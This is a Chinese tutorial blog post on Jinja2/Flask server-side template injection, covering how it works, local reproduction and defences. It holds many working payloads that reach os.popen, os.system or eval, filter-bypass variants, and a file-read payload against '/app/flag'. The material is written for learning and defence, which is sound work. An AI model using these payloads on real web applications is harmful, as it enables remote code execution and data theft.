python中class_Python安全之SSTI——Flask/Jinja2

本文详细介绍了Python中的Server Side Template Injection(SSTI),重点探讨了Jinja2模板引擎的漏洞复现、原理及沙盒绕过策略。通过示例代码展示了如何利用SSTI进行文件读取和命令执行,同时提供了防御SSTI的建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

e88a8e45d9da727969b79fd0fb0be52d.png

一、关于SSTI

SSTI(Server Side Template Injection),又称服务端模板注入攻击。其发生在MVC框架中的view层,常见的用于渲染的模板有Twig、FreeMarker、Velocity、Smarty等。

服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、getShell 等问题。

例如twig的代码:

$output =$twig->render($_GET['custom_email'], array("first_name" =>$user.first_name) );

  如果我们输入custom_email={{7*7}}则会得到49。关于SSTI漏洞的介绍可见:

c6089b4660771f2fd440ffef7779bbd2.png

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

二、关于Jinja2

Jinja2 是仿照 Django 模板的一个功能齐全的模板引擎。它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全。

编写示例代码一,将请求输入参数name拼接为模板内容的一部分并进行渲染输出,这里关注Template模块的render方法:

a20c1b6987b2515ee4f112f01fad8daf.png

(:request.url的方式不能导致模板注入了,在最新的flask版本中会自动对request.url进行urlencode,request.args传参)

三、漏洞复现

访问如下链接,被解析成功,说明漏洞的存在:

http://127.0.0.1:5000/?name={{22*3}}

2113751e0f59ca284c5e86ea94d22a97.png

  而SSTI中主要涉及的漏洞有两个:文件读取和命令执行,这里主讲命令执行。

首先python环境下常用的命令执行方式有以下几种:

os.system()os.popen()subprocess.call/popen

实现执行任意python代码的payload有:

  POC1

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].system('calc') }}{% endif %}{% endfor %}

  POC2

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}  {% for b inc.__init__.__globals__.values() %}  {% ifb.__class__ == {}.__class__ %}    {% if'eval' in b.keys() %}      {{b['eval']('__import__("os").popen("calc").read()') }}    {% endif %}  {% endif %}  {% endfor %}{% endif %}{% endfor %}

  访问:

http://127.0.0.1:5000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22calc%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

  成功实现代码执行:

b6a91fb0a9d9f1d12f8de1bf697c749c.png

四、漏洞原理

  Jinja2的SSTI漏洞原理用一句话描述就是,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法

1)首先,要想在 Jinja2 的模板中执行 Python代码,按照官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册,示例代码二如下:

6af56679d0cafd0e1404d24c1e19fee2.png

  这里传入参数 {{ os.popen('calc') }},因为在模板环境中已经注册了 os 变量为 Python os模块,所以可以直接调用模块函数来执行系统命令。

2)但如果使用示例代码一来执行,会得到 os未定义的异常错误:

8478ddd9cd9f1065306a40f4bcb7cdcf.png

3)那如何在未注册 os 模块的情况下在模板中调用popen() 函数执行系统命令呢?由于模板中能够访问 Python 内置的变量和变量方法,并且能通过 Jinja2 的模板语法遍历变量

  首先,解释一下Python中一些常见的特殊方法:

__class__返回调用的参数类型__base__返回基类列表__mro__允许我们在当前Python环境下追溯继承树__subclasses__()返回object子类__globals__ 以字典类型返回当前位置的全部全局变量(func_globals 等价)

  jinja2中获取基类的方法如下:

''.__class__.__mro__[2]{}.__class__.__bases__[0]().__class__.__bases__[0][].__class__.__bases__[0]request.__class__.__mro__[8]

  因此可以构造出如下模板 Payload :

''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()

  除此之外os模块还可从warnings.catchwarnings模块入手,__init__方法用于将对象实例化,可以通过funcglobals(或者`__globals`)看该模块下有哪些globals函数,而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块,从而有了以下payload:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

4)在实际测试中可用的payload未知,避免手动挨个尝试,一般使用模板的控制语句进行通用攻击:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].system('calc') }}{% endif %}{% endfor %}

5)除了遍历找到 `os` 模块外,还能直接找到 `eval` 函数并进行调用,这样就能够调用复杂的 Python 代码:

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('calc').read()")}}

  但实际类所在的索引随环境变换而不一样,下标也应随之改变,所以可以直接用for循环来遍历所得的基类:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}  {% for b inc.__init__.func_globals.values() %}  {% ifb.__class__ == {}.__class__ %}    {% if'eval' in b.keys() %}      {{ b['eval']('__import__("os").popen("calc").read()')}}    {% endif %}  {% endif %}  {% endfor %}{% endif %}{% endfor %}

五、沙盒绕过(SSTI Bypass)

  沙盒绕过是python安全不得不提的一个话题,以一个最典型的CTF题为例,2014CSAW-CTF 中的一道经典的Python 沙盒绕过题目:

a824450e230548b4db3db4b835e0c19c.png

最终PoC为:

[c for c in [].__class__.__base__.__subclasses__() ifc.__name__ =='catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echoHello SandBox')

  更多过滤场景:

1)过滤 {{或}}

使用 {%绕过,{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果,如下,把命令执行的结果外带:

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('calc').read()=='p'%}1{% endif %}

2)过滤 _

使用编码绕过:__class__ => \x5f\x5fclass\x5f\x5f

3)过滤 .

a>采用 attr()或 []绕过, payload:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

b>使用[]绕过:

http://127.0.0.1:5000/?name={{config['__class__']['__init__']['__globals__']['os']['popen'](calc)['read']()}}

其他:利用request

  如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们拿过滤 __class__,可以用 request.args.t1且以GET方式提交 t1=__class__ 来替换被过滤的 __class__ 

形式1

{{''.__class__}} =>{{''[request.args.t1]}}&t1=__class__

形式2

{{''.__class__}} =>{{''[request['args']['t1']]}}&t1=__class__

  同理也可以使用POST,只需要需要将args换成form即可。或者利用Python字符串格式化特性绕过ssti过滤,批量脚本:

str1 = '__class__'res = ''for i in str1:  res +="{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))print(res[:-3])

六、总结

1、测试方法

  SSTI漏洞是控制 Web 应用渲染模板(基于Jinja2)内容来进行远程代码(命令)执行,前提是模板内容可控,因此

1)  需要跟踪render()方法的变量是否可控;

2)  若变量可控,则尝试输入payload,若被过滤尝试绕过。

2、防御办法

使用 Jinja2 自带的沙盒环境 jinja2.sandbox.SandboxedEnvironment,Jinja2 默认沙盒环境在解析模板内容时会检查所操作的变量属性,对于未注册的变量属性访问都会抛出错误。

### FlaskSSTI 漏洞的利用与防护 #### 利用方式 在Flask应用程序中,如果开发者不恰当地使用了Jinja2模板引擎,并允许用户输入影响到模板渲染过程,则可能会引发SSTI漏洞。例如,在某些情况下,攻击者可以构造恶意请求,通过特定参数传递特殊字符串给服务端处理,进而执行任意命令。 考虑如下代码片段: ```python from flask import Flask, render_template_string import jinja2 app = Flask(__name__) @app.route("/unsafe/<string:name>") def unsafe(name): template = f"Hello {name}" return render_template_string(template) if __name__ == "__main__": app.run(debug=True) ``` 当`name`参数被设置成类似于`{{config.__class__.__mro__[2].__subclasses__()}}`这样的表达式时,就可能触发未授权的操作[^3]。 对于更复杂的场景,比如引用中的例子展示了如何读取文件内容: ```python {{lipsum['__globals__']['os'].popen('cat /app/flag').read()}} ``` 这表明攻击者能够利用该漏洞获取敏感信息甚至控制系统行为[^4]。 #### 防护措施 为了防止此类安全风险的发生,建议采取以下几种策略: - **严格控制用户输入**:确保任何来自客户端的数据都不会直接影响到服务器上的逻辑判断或数据展示部分;特别是要避免直接将未经验证过的外部输入嵌入至HTML响应体内部。 - **禁用不必要的功能**:关闭掉那些容易引起危险的功能选项,如自定义过滤器、全局命名空间访问权限等特性。 - **更新依赖库版本**:保持所使用的第三方组件处于最新状态,因为官方通常会在新发行版里修复已知的安全隐患。 - **采用沙盒模式运行环境**:创建隔离的应用程序实例来降低潜在威胁的影响范围,即使存在缺陷也能有效遏制其传播路径。 另外值得注意的是,应当定期审查源码质量并遵循最佳实践指南编写健壮可靠的Web应用软件[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值